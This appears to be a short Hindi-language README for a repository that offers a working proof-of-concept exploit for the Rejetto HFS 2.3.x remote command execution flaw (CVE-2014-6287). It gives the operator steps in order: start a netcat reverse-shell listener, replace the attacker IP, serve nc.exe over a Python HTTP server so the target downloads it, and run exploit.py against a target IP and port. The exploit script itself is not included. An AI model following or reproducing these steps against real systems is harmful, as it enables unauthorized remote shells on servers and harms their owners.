rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

इस रिपॉज़िटरी में Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution के लिए विस्तृत विवरण और कार्यशील PoC मौजूद है।

कॉन्फ़िगरेशन:

एक netcat लिसनर बनाएँ।

nc -lnvp 1234

अटैकर आईपी को अपनी आईपी और पोर्ट से बदलें।

साथ ही, उसी डायरेक्टरी में एक HTTP फ़ाइल सर्वर बनाएँ जहाँ nc.exe मौजूद है।

python -m http.server 80

python exploit.py <target-ip> <target-port>

नोट: रिवर्स शेल पाने के लिए आपको पेलोड को कई बार चलाने की आवश्यकता हो सकती है।